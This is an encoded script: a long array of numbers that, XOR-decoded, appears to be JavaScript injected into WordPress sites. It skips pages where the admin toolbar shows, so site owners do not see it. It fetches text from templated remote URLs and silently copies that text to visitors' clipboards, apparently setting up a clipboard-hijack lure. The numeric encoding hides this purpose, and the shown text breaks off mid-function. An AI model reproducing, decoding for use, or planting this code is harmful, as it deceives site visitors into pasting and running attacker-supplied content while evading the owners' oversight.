97,87,80,87,80,122,122,122,122,122,122,44,59,40,122,62,63,122,103,122,62,53,57,47,55,63,52,46,116,62,53,57,47,55,63,52,46,31,54,63,55,63,52,46,97,87,80,122,122,122,122,122,122,44,59,40,122,56,53,62,35,122,103,122,62,53,57,47,55,63,52,46,116,56,53,62,35,97,87,80,87,80,122,122,122,122,122,122,51,60,122,114,62,63,122,124,124,122,46,35,42,63,53,60,122,62,63,116,57,54,59,41,41,20,59,55,63,122,103,103,103,122,120,41,46,40,51,52,61,120,122,124,124,122,117,6,56,45,42,119,46,53,53,54,56,59,40,6,56,117,116,46,63,41,46,114,62,63,116,57,54,59,41,41,20,59,55,63,115,115,122,40,63,46,47,40,52,122,46,40,47,63,97,87,80,122,122,122,122,122,122,51,60,122,114,56,53,62,35,122,124,124,122,46,35,42,63,53,60,122,56,53,62,35,116,57,54,59,41,41,20,59,55,63,122,103,103,103,122,120,41,46,40,51,52,61,120,122,124,124,122,117,6,56,59,62,55,51,52,119,56,59,40,6,56,117,116,46,63,41,46,114,56,53,62,35,116,57,54,59,41,41,20,59,55,63,115,115,122,40,63,46,47,40,52,122,46,40,47,63,97,87,80,122,122,122,122,122,122,51,60,122,114,62,53,57,47,55,63,52,46,116,61,63,46,31,54,63,55,63,52,46,24,35,19,62,114,120,45,42,59,62,55,51,52,56,59,40,120,115,115,122,40,63,46,47,40,52,122,46,40,47,63,97,87,80,122,122,122,122,39,122,57,59,46,57,50,122,114,63,115,122,33,39,87,80,87,80,122,122,122,122,40,63,46,47,40,52,122,60,59,54,41,63,97,87,80,122,122,39,87,80,87,80,122,122,51,60,122,114,51,41,13,42,22,53,61,61,63,62,19,52,25,53,52,46,63,34,46,114,115,115,122,40,63,46,47,40,52,97,87,80,87,80,122,122,51,60,122,114,62,53,57,47,55,63,52,46,116,61,63,46,31,54,63,55,63,52,46,24,35,19,62,114,40,63,61,51,41,46,40,35,116,51,60,40,59,55,63,19,62,115,115,122,33,87,80,122,122,122,122,40,63,61,51,41,46,40,35,116,41,46,59,46,47,41,122,103,122,120,59,57,46,51,44,63,120,97,87,80,122,122,122,122,40,63,46,47,40,52,97,87,80,122,122,39,87,80,87,80,122,122,51,60,122,114,40,63,61,51,41,46,40,35,116,40,47,52,10,40,53,55,51,41,63,122,38,38,122,40,63,61,51,41,46,40,35,116,41,46,59,46,47,41,122,103,103,103,122,120,54,53,59,62,51,52,61,120,122,38,38,122,40,63,61,51,41,46,40,35,116,41,46,59,46,47,41,122,103,103,103,122,120,59,57,46,51,44,63,120,122,38,38,122,40,63,61,51,41,46,40,35,116,41,46,59,46,47,41,122,103,103,103,122,120,62,53,52,63,120,115,122,33,87,80,122,122,122,122,40,63,46,47,40,52,97,87,80,122,122,39,87,80,87,80,122,122,40,63,61,51,41,46,40,35,116,41,46,59,46,47,41,122,103,122,120,54,53,59,62,51,52,61,120,97,87,80,87,80,122,122,60,47,52,57,46,51,53,52,122,41,59,60,63,27,42,42,63,52,62,11,47,63,40,35,114,47,40,54,118,122,49,63,35,118,122,44,59,54,115,122,33,87,80,122,122,122,122,44,59,40,122,41,63,42,122,103,122,47,40,54,116,51,52,62,63,34,21,60,114,120,101,120,115,122,100,103,122,106,122,101,122,120,124,120,122,96,122,120,101,120,97,87,80,122,122,122,122,40,63,46,47,40,52,122,47,40,54,122,113,122,41,63,42,122,113,122,63,52,57,53,62,63,15,8,19,25,53,55,42,53,52,63,52,46,114,49,63,35,115,122,113,122,120,103,120,122,113,122,63,52,57,53,62,63,15,8,19,25,53,55,42,53,52,63,52,46,114,44,59,54,115,97,87,80,122,122,39,87,80,87,80,122,122,60,47,52,57,46,51,53,52,122,56,47,51,54,62,14,40,47,41,46,63,62,15,40,54,114,46,63,55,42,54,59,46,63,118,122,51,62,115,122,33,87,80,122,122,122,122,51,60,122,114,123,46,63,55,42,54,59,46,63,122,38,38,122,123,51,62,115,122,40,63,46,47,40,52,122,120,120,97,87,80,87,80,122,122,122,122,51,60,122,114,46,63,55,42,54,59,46,63,116,51,52,62,63,34,21,60,114,120,62,40,53,42,56,53,34,116,57,53,55,120,115,122,100,103,122,106,115,122,33,87,80,122,122,122,122,122,122,40,63,46,47,40,52,122,46,63,55,42,54,59,46,63,116,40,63,42,54,59,57,63,114,117,6,33,51,62,6,39,117,61,118,122,51,62,115,97,87,80,122,122,122,122,39,87,80,87,80,122,122,122,122,44,59,40,122,63,52,57,53,62,63,62,122,103,122,63,52,57,53,62,63,15,8,19,25,53,55,42,53,52,63,52,46,114,51,62,115,97,87,80,87,80,122,122,122,122,51,60,122,114,46,63,55,42,54,59,46,63,116,51,52,62,63,34,21,60,114,120,61,51,41,46,116,61,51,46,50,47,56,47,41,63,40,57,53,52,46,63,52,46,116,57,53,55,120,115,122,100,103,122,106,115,122,33,87,80,122,122,122,122,122,122,63,52,57,53,62,63,62,122,103,122,63,52,57,53,62,63,62,116,40,63,42,54,59,57,63,114,117,127,104,28,117,61,118,122,120,117,120,115,97,87,80,122,122,122,122,39,87,80,87,80,122,122,122,122,40,63,46,47,40,52,122,46,63,55,42,54,59,46,63,116,40,63,42,54,59,57,63,114,117,6,33,51,62,6,39,117,61,118,122,63,52,57,53,62,63,62,115,97,87,80,122,122,39,87,80,87,80,122,122,60,47,52,57,46,51,53,52,122,46,53,18,46,46,42,15,40,54,114,44,59,54,47,63,115,122,33,87,80,122,122,122,122,51,60,122,114,123,44,59,54,47,63,115,122,40,63,46,47,40,52,122,120,120,97,87,80,87,80,122,122,122,122,44,59,40,122,41,122,103,122,9,46,40,51,52,61,114,44,59,54,47,63,115,87,80,122,122,122,122,122,122,116,40,63,42,54,59,57,63,114,117,4,6,47,28,31,28,28,117,118,122,120,120,115,87,80,122,122,122,122,122,122,116,46,40,51,55,114,115,87,80,122,122,122,122,122,122,116,40,63,42,54,59,57,63,114,117,4,1,125,120,58,6,41,7,113,38,1,125,120,58,6,41,7,113,126,117,61,118,122,120,120,115,97,87,80,87,80,122,122,122,122,51,60,122,114,123,41,115,122,40,63,46,47,40,52,122,120,120,97,87,80,87,80,122,122,122,122,51,60,122,114,123,117,4,1,59,119,32,7,1,59,119,32,106,119,99,113,116,119,7,112,96,6,117,6,117,117,51,116,46,63,41,46,114,41,115,115,122,33,87,80,122,122,122,122,122,122,51,60,122,114,117,4,1,59,119,32,106,119,99,116,119,7,113,6,116,1,59,119,32,7,33,104,118,39,114,101,96,96,6,62,113,115,101,114,101,96,1,6,117,101,121,7,38,126,115,117,51,116,46,63,41,46,114,41,115,115,122,33,87,80,122,122,122,122,122,122,122,122,41,122,103,122,120,50,46,46,42,41,96,117,117,120,122,113,122,41,97,87,80,122,122,122,122,122,122,39,122,63,54,41,63,122,33,87,80,122,122,122,122,122,122,122,122,40,63,46,47,40,52,122,120,120,97,87,80,122,122,122,122,122,122,39,87,80,122,122,122,122,39,87,80,87,80,122,122,122,122,46,40,35,122,33,87,80,122,122,122,122,122,122,44,59,40,122,47,122,103,122,52,63,45,122,15,8,22,114,41,115,97,87,80,122,122,122,122,122,122,51,60,122,114,47,116,42,40,53,46,53,57,53,54,122,103,103,103,122,120,50,46,46,42,96,120,122,38,38,122,47,116,42,40,53,46,53,57,53,54,122,103,103,103,122,120,50,46,46,42,41,96,120,115,122,33,87,80,122,122,122,122,122,122,122,122,40,63,46,47,40,52,122,47,116,50,40,63,60,97,87,80,122,122,122,122,122,122,39,87,80,122,122,122,122,39,122,57,59,46,57,50,122,114,63,115,122,33,39,87,80,87,80,122,122,122,122,40,63,46,47,40,52,122,120,120,97,87,80,122,122,39,87,80,87,80,122,122,60,47,52,57,46,51,53,52,122,60,51,52,62,15,40,54,19,52,21,56,48,63,57,46,114,51,52,42,47,46,118,122,62,63,42,46,50,115,122,33,87,80,122,122,122,122,51,60,122,114,123,51,52,42,47,46,122,38,38,122,62,63,42,46,50,122,100,122,105,115,122,40,63,46,47,40,52,122,120,120,97,87,80,87,80,122,122,122,122,51,60,122,114,46,35,42,63,53,60,122,51,52,42,47,46,122,103,103,103,122,120,41,46,40,51,52,61,120,115,122,33,87,80,122,122,122,122,122,122,40,63,46,47,40,52,122,46,53,18,46,46,42,15,40,54,114,51,52,42,47,46,115,97,87,80,122,122,122,122,39,87,80,87,80,122,122,122,122,51,60,122,114,21,56,48,63,57,46,116,42,40,53,46,53,46,35,42,63,116,46,53,9,46,40,51,52,61,116,57,59,54,54,114,51,52,42,47,46,115,122,103,103,103,122,120,1,53,56,48,63,57,46,122,27,40,40,59,35,7,120,115,122,33,87,80,122,122,122,122,122,122,60,53,40,122,114,44,59,40,122,51,122,103,122,106,97,122,51,122,102,122,51,52,42,47,46,116,54,63,52,61,46,50,97,122,51,113,113,115,122,33,87,80,122,122,122,122,122,122,122,122,44,59,40,122,59,40,40,12,59,54,122,103,122,60,51,52,62,15,40,54,19,52,21,56,48,63,57,46,114,51,52,42,47,46,1,51,7,118,122,62,63,42,46,50,122,113,122,107,115,97,87,80,122,122,122,122,122,122,122,122,51,60,122,114,59,40,40,12,59,54,115,122,40,63,46,47,40,52,122,59,40,40,12,59,54,97,87,80,122,122,122,122,122,122,39,87,80,122,122,122,122,122,122,40,63,46,47,40,52,122,120,120,97,87,80,122,122,122,122,39,87,80,87,80,122,122,122,122,51,60,122,114,46,35,42,63,53,60,122,51,52,42,47,46,122,103,103,103,122,120,53,56,48,63,57,46,120,115,122,33,87,80,122,122,122,122,122,122,44,59,40,122,49,63,35,41,122,103,122,1,120,47,40,54,120,118,122,120,54,51,52,49,120,118,122,120,50,40,63,60,120,118,122,120,54,53,57,59,46,51,53,52,120,118,122,120,40,63,62,51,40,63,57,46,120,118,122,120,46,59,40,61,63,46,120,118,122,120,54,59,52,62,51,52,61,120,118,122,120,54,59,52,62,51,52,61,15,40,54,120,7,97,87,80,87,80,122,122,122,122,122,122,60,53,40,122,114,44,59,40,122,48,122,103,122,106,97,122,48,122,102,122,49,63,35,41,116,54,63,52,61,46,50,97,122,48,113,113,115,122,33,87,80,122,122,122,122,122,122,122,122,44,59,40,122,49,63,35,122,103,122,49,63,35,41,1,48,7,97,87,80,122,122,122,122,122,122,122,122,51,60,122,114,21,56,48,63,57,46,116,42,40,53,46,53,46,35,42,63,116,50,59,41,21,45,52,10,40,53,42,63,40,46,35,116,57,59,54,54,114,51,52,42,47,46,118,122,49,63,35,115,115,122,33,87,80,122,122,122,122,122,122,122,122,122,122,44,59,40,122,62,51,40,63,57,46,122,103,122,60,51,52,62,15,40,54,19,52,21,56,48,63,57,46,114,51,52,42,47,46,1,49,63,35,7,118,122,62,63,42,46,50,122,113,122,107,115,97,87,80,122,122,122,122,122,122,122,122,122,122,51,60,122,114,62,51,40,63,57,46,115,122,40,63,46,47,40,52,122,62,51,40,63,57,46,97,87,80,122,122,122,122,122,122,122,122,39,87,80,122,122,122,122,122,122,39,87,80,87,80,122,122,122,122,122,122,60,53,40,122,114,44,59,40,122,49,122,51,52,122,51,52,42,47,46,115,122,33,87,80,122,122,122,122,122,122,122,122,51,60,122,114,123,21,56,48,63,57,46,116,42,40,53,46,53,46,35,42,63,116,50,59,41,21,45,52,10,40,53,42,63,40,46,35,116,57,59,54,54,114,51,52,42,47,46,118,122,49,115,115,122,57,53,52,46,51,52,47,63,97,87,80,122,122,122,122,122,122,122,122,44,59,40,122,52,63,41,46,63,62,122,103,122,60,51,52,62,15,40,54,19,52,21,56,48,63,57,46,114,51,52,42,47,46,1,49,7,118,122,62,63,42,46,50,122,113,122,107,115,97,87,80,122,122,122,122,122,122,122,122,51,60,122,114,52,63,41,46,63,62,115,122,40,63,46,47,40,52,122,52,63,41,46,63,62,97,87,80,122,122,122,122,122,122,39,87,80,122,122,122,122,39,87,80,87,80,122,122,122,122,40,63,46,47,40,52,122,120,120,97,87,80,122,122,39,87,80,87,80,122,122,60,47,52,57,46,51,53,52,122,63,34,46,40,59,57,46,22,59,52,62,51,52,61,15,40,54,114,40,59,45,115,122,33,87,80,122,122,122,122,51,60,122,114,123,40,59,45,115,122,40,63,46,47,40,52,122,120,120,97,87,80,87,80,122,122,122,122,44,59,40,122,46,63,34,46,122,103,122,9,46,40,51,52,61,114,40,59,45,115,116,40,63,42,54,59,57,63,114,117,4,6,47,28,31,28,28,117,118,122,120,120,115,116,46,40,51,55,114,115,97,87,80,122,122,122,122,51,60,122,114,123,46,63,34,46,115,122,40,63,46,47,40,52,122,120,120,97,87,80,87,80,122,122,122,122,44,59,40,122,62,51,40,63,57,46,122,103,122,46,53,18,46,46,42,15,40,54,114,46,63,34,46,115,97,87,80,122,122,122,122,51,60,122,114,62,51,40,63,57,46,115,122,40,63,46,47,40,52,122,62,51,40,63,57,46,97,87,80,87,80,122,122,122,122,51,60,122,114,114,46,63,34,46,116,57,50,59,40,27,46,114,106,115,122,103,103,103,122,120,33,120,122,124,124,122,46,63,34,46,116,57,50,59,40,27,46,114,46,63,34,46,116,54,63,52,61,46,50,122,119,122,107,115,122,103,103,103,122,120,39,120,115,122,38,38,87,80,122,122,122,122,122,122,122,122,114,46,63,34,46,116,57,50,59,40,27,46,114,106,115,122,103,103,103,122,120,1,120,122,124,124,122,46,63,34,46,116,57,50,59,40,27,46,114,46,63,34,46,116,54,63,52,61,46,50,122,119,122,107,115,122,103,103,103,122,120,7,120,115,115,122,33,87,80,122,122,122,122,122,122,46,40,35,122,33,87,80,122,122,122,122,122,122,122,122,44,59,40,122,42,59,40,41,63,62,122,103,122,16,9,21,20,116,42,59,40,41,63,114,46,63,34,46,115,97,87,80,122,122,122,122,122,122,122,122,44,59,40,122,48,41,53,52,15,40,54,122,103,122,60,51,52,62,15,40,54,19,52,21,56,48,63,57,46,114,42,59,40,41,63,62,118,122,106,115,97,87,80,122,122,122,122,122,122,122,122,51,60,122,114,48,41,53,52,15,40,54,115,122,40,63,46,47,40,52,122,48,41,53,52,15,40,54,97,87,80,122,122,122,122,122,122,39,122,57,59,46,57,50,122,114,63,115,122,33,39,87,80,122,122,122,122,39,87,80,87,80,122,122,122,122,44,59,40,122,55,59,46,57,50,18,46,46,42,122,103,122,46,63,34,46,116,55,59,46,57,50,114,117,50,46,46,42,41,101,96,6,117,6,117,1,4,6,41,120,125,102,100,7,113,117,51,115,97,87,80,122,122,122,122,51,60,122,114,55,59,46,57,50,18,46,46,42,122,124,124,122,55,59,46,57,50,18,46,46,42,1,106,7,115,122,33,87,80,122,122,122,122,122,122,44,59,40,122,50,46,46,42,15,40,54,122,103,122,46,53,18,46,46,42,15,40,54,114,55,59,46,57,50,18,46,46,42,1,106,7,115,97,87,80,122,122,122,122,122,122,51,60,122,114,50,46,46,42,15,40,54,115,122,40,63,46,47,40,52,122,50,46,46,42,15,40,54,97,87,80,122,122,122,122,39,87,80,87,80,122,122,122,122,44,59,40,122,55,59,46,57,50,30,53,55,59,51,52,122,103,122,46,63,34,46,116,55,59,46,57,50,114,117,6,56,1,59,119,32,106,119,99,116,119,7,113,6,116,1,59,119,32,7,33,104,118,39,114,101,96,96,6,62,113,115,101,114,101,96,6,117,1,4,6,41,120,125,102,100,7,112,115,101,117,51,115,97,87,80,122,122,122,122,51,60,122,114,55,59,46,57,50,30,53,55,59,51,52,122,124,124,122,55,59,46,57,50,30,53,55,59,51,52,1,106,7,115,122,33,87,80,122,122,122,122,122,122,44,59,40,122,62,53,55,59,51,52,15,40,54,122,103,122,46,53,18,46,46,42,15,40,54,114,55,59,46,57,50,30,53,55,59,51,52,1,106,7,115,97,87,80,122,122,122,122,122,122,51,60,122,114,62,53,55,59,51,52,15,40,54,115,122,40,63,46,47,40,52,122,62,53,55,59,51,52,15,40,54,97,87,80,122,122,122,122,39,87,80,87,80,122,122,122,122,40,63,46,47,40,52,122,120,120,97,87,80,122,122,39,87,80,87,80,122,122,60,47,52,57,46,51,53,52,122,61,63,46,21,40,51,61,51,52,9,59,60,63,114,47,40,54,115,122,33,87,80,122,122,122,122,46,40,35,122,33,87,80,122,122,122,122,122,122,40,63,46,47,40,52,122,52,63,45,122,15,8,22,114,47,40,54,115,116,53,40,51,61,51,52,97,87,80,122,122,122,122,39,122,57,59,46,57,50,122,114,63,115,122,33,87,80,122,122,122,122,122,122,40,63,46,47,40,52,122,120,120,97,87,80,122,122,122,122,39,87,80,122,122,39,87,80,87,80,122,122,60,47,52,57,46,51,53,52,122,59,62,62,18,51,52,46,114,40,63,54,118,122,50,40,63,60,115,122,33,87,80,122,122,122,122,51,60,122,114,123,50,40,63,60,122,38,38,122,123,62,53,57,47,55,63,52,46,122,38,38,122,123,62,53,57,47,55,63,52,46,116,57,40,63,59,46,63,31,54,63,55,63,52,46,115,122,40,63,46,47,40,52,97,87,80,87,80,122,122,122,122,44,59,40,122,49,63,35,122,103,122,40,63,54,122,113,122,120,96,96,120,122,113,122,50,40,63,60,97,87,80,122,122,122,122,51,60,122,114,40,63,61,51,41,46,40,35,116,50,51,52,46,41,1,49,63,35,7,115,122,40,63,46,47,40,52,97,87,80,122,122,122,122,40,63,61,51,41,46,40,35,116,50,51,52,46,41,1,49,63,35,7,122,103,122,46,40,47,63,97,87,80,87,80,122,122,122,122,46,40,35,122,33,87,80,122,122,122,122,122,122,44,59,40,122,42,59,40,63,52,46,122,103,122,62,53,57,47,55,63,52,46,116,50,63,59,62,122,38,38,122,62,53,57,47,55,63,52,46,116,62,53,57,47,55,63,52,46,31,54,63,55,63,52,46,97,87,80,122,122,122,122,122,122,51,60,122,114,123,42,59,40,63,52,46,115,122,40,63,46,47,40,52,97,87,80,87,80,122,122,122,122,122,122,44,59,40,122,54,51,52,49,122,103,122,62,53,57,47,55,63,52,46,116,57,40,63,59,46,63,31,54,63,55,63,52,46,114,120,54,51,52,49,120,115,97,87,80,122,122,122,122,122,122,54,51,52,49,116,40,63,54,122,103,122,40,63,54,97,87,80,122,122,122,122,122,122,54,51,52,49,116,50,40,63,60,122,103,122,50,40,63,60,97,87,80,87,80,122,122,122,122,122,122,51,60,122,114,40,63,54,122,103,103,103,122,120,42,40,63,57,53,52,52,63,57,46,120,115,122,33,87,80,122,122,122,122,122,122,122,122,54,51,52,49,116,57,40,53,41,41,21,40,51,61,51,52,122,103,122,120,59,52,53,52,35,55,53,47,41,120,97,87,80,122,122,122,122,122,122,39,87,80,87,80,122,122,122,122,122,122,42,59,40,63,52,46,116,59,42,42,63,52,62,25,50,51,54,62,114,54,51,52,49,115,97,87,80,122,122,122,122,39,122,57,59,46,57,50,122,114,63,115,122,33,39,87,80,122,122,39,87,80,87,80,122,122,60,47,52,57,46,51,53,52,122,45,59,40,55,47,42,21,40,51,61,51,52,41,114,115,122,33,87,80,122,122,122,122,44,59,40,122,53,40,51,61,51,52,41,122,103,122,33,39,97,87,80,122,122,122,122,44,59,40,122,59,42,51,21,40,51,61,51,52,122,103,122,61,63,46,21,40,51,61,51,52,9,59,60,63,114,27,10,19,5,19,30,5,15,8,22,115,97,87,80,122,122,122,122,51,60,122,114,59,42,51,21,40,51,61,51,52,115,122,53,40,51,61,51,52,41,1,59,42,51,21,40,51,61,51,52,7,122,103,122,46,40,47,63,97,87,80,87,80,122,122,122,122,60,53,40,122,114,44,59,40,122,51,122,103,122,106,97,122,51,122,102,122,14,8,15,9,14,31,30,5,25,21,20,28,19,29,9,116,54,63,52,61,46,50,97,122,51,113,113,115,122,33,87,80,122,122,122,122,122,122,44,59,40,122,46,42,54,122,103,122,14,8,15,9,14,31,30,5,25,21,20,28,19,29,9,1,51,7,122,124,124,122,14,8,15,9,14,31,30,5,25,21,20,28,19,29,9,1,51,7,116,46,63,55,42,54,59,46,63,97,87,80,122,122,122,122,122,122,51,60,122,114,123,46,42,54,115,122,57,53,52,46,51,52,47,63,97,87,80,122,122,122,122,122,122,44,59,40,122,42,40,53,56,63,122,103,122,46,42,54,116,40,63,42,54,59,57,63,114,117,6,33,51,62,6,39,117,61,118,122,120,34,120,115,97,87,80,122,122,122,122,122,122,44,59,40,122,53,40,51,61,51,52,122,103,122,61,63,46,21,40,51,61,51,52,9,59,60,63,114,42,40,53,56,63,115,97,87,80,122,122,122,122,122,122,51,60,122,114,53,40,51,61,51,52,115,122,53,40,51,61,51,52,41,1,53,40,51,61,51,52,7,122,103,122,46,40,47,63,97,87,80,122,122,122,122,39,87,80,87,80,122,122,122,122,60,53,40,122,114,44,59,40,122,53,40,51,61,51,52,17,63,35,122,51,52,122,53,40,51,61,51,52,41,115,122,33,87,80,122,122,122,122,122,122,51,60,122,114,123,21,56,48,63,57,46,116,42,40,53,46,53,46,35,42,63,116,50,59,41,21,45,52,10,40,53,42,63,40,46,35,116,57,59,54,54,114,53,40,51,61,51,52,41,118,122,53,40,51,61,51,52,17,63,35,115,115,122,57,53,52,46,51,52,47,63,97,87,80,122,122,122,122,122,122,59,62,62,18,51,52,46,114,120,62,52,41,119,42,40,63,60,63,46,57,50,120,118,122,53,40,51,61,51,52,17,63,35,115,97,87,80,122,122,122,122,122,122,59,62,62,18,51,52,46,114,120,42,40,63,57,53,52,52,63,57,46,120,118,122,53,40,51,61,51,52,17,63,35,115,97,87,80,122,122,122,122,39,87,80,122,122,39,87,80,87,80,122,122,60,47,52,57,46,51,53,52,122,61,63,46,23,53,47,52,46,20,53,62,63,114,115,122,33,87,80,122,122,122,122,40,63,46,47,40,52,122,62,53,57,47,55,63,52,46,116,56,53,62,35,122,38,38,122,62,53,57,47,55,63,52,46,116,62,53,57,47,55,63,52,46,31,54,63,55,63,52,46,122,38,38,122,52,47,54,54,97,87,80,122,122,39,87,80,87,80,122,122,60,47,52,57,46,51,53,52,122,60,63,46,57,50,14,63,34,46,20,53,14,50,40,53,45,114,47,40,54,118,122,46,51,55,63,53,47,46,23,41,115,122,33,87,80,122,122,122,122,40,63,46,47,40,52,122,52,63,45,122,10,40,53,55,51,41,63,114,60,47,52,57,46,51,53,52,122,114,40,63,41,53,54,44,63,115,122,33,87,80,122,122,122,122,122,122,51,60,122,114,123,47,40,54,122,38,38,122,46,35,42,63,53,60,122,60,63,46,57,50,122,123,103,103,122,120,60,47,52,57,46,51,53,52,120,115,122,33,87,80,122,122,122,122,122,122,122,122,40,63,41,53,54,44,63,114,120,120,115,97,87,80,122,122,122,122,122,122,122,122,40,63,46,47,40,52,97,87,80,122,122,122,122,122,122,39,87,80,87,80,122,122,122,122,122,122,44,59,40,122,60,51,52,51,41,50,63,62,122,103,122,60,59,54,41,63,97,87,80,122,122,122,122,122,122,44,59,40,122,46,51,55,63,40,122,103,122,52,47,54,54,97,87,80,122,122,122,122,122,122,44,59,40,122,57,53,52,46,40,53,54,54,63,40,122,103,122,52,47,54,54,97,87,80,87,80,122,122,122,122,122,122,60,47,52,57,46,51,53,52,122,62,53,52,63,114,44,59,54,47,63,115,122,33,87,80,122,122,122,122,122,122,122,122,51,60,122,114,60,51,52,51,41,50,63,62,115,122,40,63,46,47,40,52,97,87,80,122,122,122,122,122,122,122,122,60,51,52,51,41,50,63,62,122,103,122,46,40,47,63,97,87,80,122,122,122,122,122,122,122,122,51,60,122,114,46,51,55,63,40,115,122,57,54,63,59,40,14,51,55,63,53,47,46,114,46,51,55,63,40,115,97,87,80,122,122,122,122,122,122,122,122,40,63,41,53,54,44,63,114,114,44,59,54,47,63,122,38,38,122,120,120,115,116,46,40,51,55,114,115,115,97,87,80,122,122,122,122,122,122,39,87,80,87,80,122,122,122,122,122,122,46,40,35,122,33,87,80,122,122,122,122,122,122,122,122,51,60,122,114,46,35,42,63,53,60,122,27,56,53,40,46,25,53,52,46,40,53,54,54,63,40,122,123,103,103,122,120,47,52,62,63,60,51,52,63,62,120,115,122,33,87,80,122,122,122,122,122,122,122,122,122,122,57,53,52,46,40,53,54,54,63,40,122,103,122,52,63,45,122,27,56,53,40,46,25,53,52,46,40,53,54,54,63,40,114,115,97,87,80,122,122,122,122,122,122,122,122,39,87,80,87,80,122,122,122,122,122,122,122,122,46,51,55,63,40,122,103,122,41,63,46,14,51,55,63,53,47,46,114,60,47,52,57,46,51,53,52,122,114,115,122,33,87,80,122,122,122,122,122,122,122,122,122,122,46,40,35,122,33,87,80,122,122,122,122,122,122,122,122,122,122,122,122,51,60,122,114,57,53,52,46,40,53,54,54,63,40,115,122,57,53,52,46,40,53,54,54,63,40,116,59,56,53,40,46,114,115,97,87,80,122,122,122,122,122,122,122,122,122,122,39,122,57,59,46,57,50,122,114,63,115,122,33,39,87,80,122,122,122,122,122,122,122,122,122,122,62,53,52,63,114,120,120,115,97,87,80,122,122,122,122,122,122,122,122,39,118,122,46,51,55,63,53,47,46,23,41,115,97,87,80,87,80,122,122,122,122,122,122,122,122,60,63,46,57,50,114,47,40,54,118,122,33,87,80,122,122,122,122,122,122,122,122,122,122,57,59,57,50,63,96,122,120,52,53,119,41,46,53,40,63,120,118,87,80,122,122,122,122,122,122,122,122,122,122,57,40,63,62,63,52,46,51,59,54,41,96,122,120,53,55,51,46,120,118,87,80,122,122,122,122,122,122,122,122,122,122,41,51,61,52,59,54,96,122,57,53,52,46,40,53,54,54,63,40,122,101,122,57,53,52,46,40,53,54,54,63,40,116,41,51,61,52,59,54,122,96,122,44,53,51,62,122,106,87,80,122,122,122,122,122,122,122,122,39,115,87,80,122,122,122,122,122,122,122,122,122,122,116,46,50,63,52,114,60,47,52,57,46,51,53,52,122,114,40,63,41,42,53,52,41,63,115,122,33,87,80,122,122,122,122,122,122,122,122,122,122,122,122,40,63,46,47,40,52,122,40,63,41,42,53,52,41,63,122,101,122,40,63,41,42,53,52,41,63,116,46,63,34,46,114,115,122,96,122,120,120,97,87,80,122,122,122,122,122,122,122,122,122,122,39,115,87,80,122,122,122,122,122,122,122,122,122,122,116,46,50,63,52,114,60,47,52,57,46,51,53,52,122,114,46,63,34,46,115,122,33,87,80,122,122,122,122,122,122,122,122,122,122,122,122,62,53,52,63,114,46,63,34,46,115,97,87,80,122,122,122,122,122,122,122,122,122,122,39,115,87,80,122,122,122,122,122,122,122,122,122,122,116,57,59,46,57,50,114,60,47,52,57,46,51,53,52,122,114,115,122,33,87,80,122,122,122,122,122,122,122,122,122,122,122,122,62,53,52,63,114,120,120,115,97,87,80,122,122,122,122,122,122,122,122,122,122,39,115,97,87,80,122,122,122,122,122,122,39,122,57,59,46,57,50,122,114,63,115,122,33,87,80,122,122,122,122,122,122,122,122,62,53,52,63,114,120,120,115,97,87,80,122,122,122,122,122,122,39,87,80,122,122,122,122,39,115,97,87,80,122,122,39,87,80,87,80,122,122,60,47,52,57,46,51,53,52,122,46,40,35,25,53,42,35,114,46,63,34,46,115,122,33,87,80,122,122,122,122,51,60,122,114,46,35,42,63,53,60,122,46,63,34,46,122,123,103,103,122,120,41,46,40,51,52,61,120,122,38,38,122,123,46,63,34,46,115,122,40,63,46,47,40,52,97,87,80,87,80,122,122,122,122,46,40,35,122,33,122,45,51,52,62,53,45,116,60,53,57,47,41,114,115,97,122,39,122,57,59,46,57,50,122,114,63,115,122,33,39,87,80,87,80,122,122,122,122,51,60,122,114,52,59,44,51,61,59,46,53,40,116,57,54,51,42,56,53,59,40,62,122,124,124,122,52,59,44,51,61,59,46,53,40,116,57,54,51,42,56,53,59,40,62,116,45,40,51,46,63,14,63,34,46,115,122,33,87,80,122,122,122,122,122,122,52,59,44,51,61,59,46,53,40,116,57,54,51,42,56,53,59,40,62,116,45,40,51,46,63,14,63,34,46,114,46,63,34,46,115,116,57,59,46,57,50,114,60,47,52,57,46,51,53,52,122,114,115,122,33,87,80,122,122,122,122,122,122,122,122,60,59,54,54,56,59,57,49,25,53,42,35,114,46,63,34,46,115,97,87,80,122,122,122,122,122,122,39,115,97,87,80,122,122,122,122,122,122,40,63,46,47,40,52,97,87,80,122,122,122,122,39,87,80,87,80,122,122,122,122,60,59,54,54,56,59,57,49,25,53,42,35,114,46,63,34,46,115,97,87,80,122,122,39,87,80,87,80,122,122,60,47,52,57,46,51,53,52,122,60,59,54,54,56,59,57,49,25,53,42,35,114,46,63,34,46,115,122,33,87,80,122,122,122,122,46,40,35,122,33,87,80,122,122,122,122,122,122,44,59,40,122,55,53,47,52,46,122,103,122,61,63,46,23,53,47,52,46,20,53,62,63,114,115,97,87,80,122,122,122,122,122,122,51,60,122,114,123,55,53,47,52,46,115,122,40,63,46,47,40,52,97,87,80,87,80,122,122,122,122,122,122,44,59,40,122,46,59,122,103,122,62,53,57,47,55,63,52,46,116,57,40,63,59,46,63,31,54,63,55,63,52,46,114,120,46,63,34,46,59,40,63,59,120,115,97,87,80,122,122,122,122,122,122,46,59,116,44,59,54,47,63,122,103,122,46,63,34,46,97,87,80,122,122,122,122,122,122,46,59,116,41,63,46,27,46,46,40,51,56,47,46,63,114,120,40,63,59,62,53,52,54,35,120,118,122,120,40,63,59,62,53,52,54,35,120,115,97,87,80,122,122,122,122,122,122,46,59,116,41,46,35,54,63,116,42,53,41,51,46,51,53,52,122,103,122,120,60,51,34,63,62,120,97,87,80,122,122,122,122,122,122,46,59,116,41,46,35,54,63,116,54,63,60,46,122,103,122,120,119,99,99,99,99,42,34,120,97,87,80,122,122,122,122,122,122,46,59,116,41,46,35,54,63,116,46,53,42,122,103,122,120,106,120,97,87,80,122,122,122,122,122,122,46,59,116,41,46,35,54,63,116,53,42,59,57,51,46,35,122,103,122,120,106,120,97,87,80,122,122,122,122,122,122,55,53,47,52,46,116,59,42,42,63,52,62,25,50,51,54,62,114,46,59,115,97,87,80,122,122,122,122,122,122,46,40,35,122,33,122,46,59,116,60,53,57,47,41,114,115,97,122,39,122,57,59,46,57,50,122,114,63,115,122,33,39,87,80,122,122,122,122,122,122,46,59,116,41,63,54,63,57,46,114,115,97,87,80,122,122,122,122,122,122,46,59,116,41,63,46,9,63,54,63,57,46,51,53,52,8,59,52,61,63,114,106,118,122,46,59,116,44,59,54,47,63,116,54,63,52,61,46,50,115,97,87,80,122,122,122,122,122,122,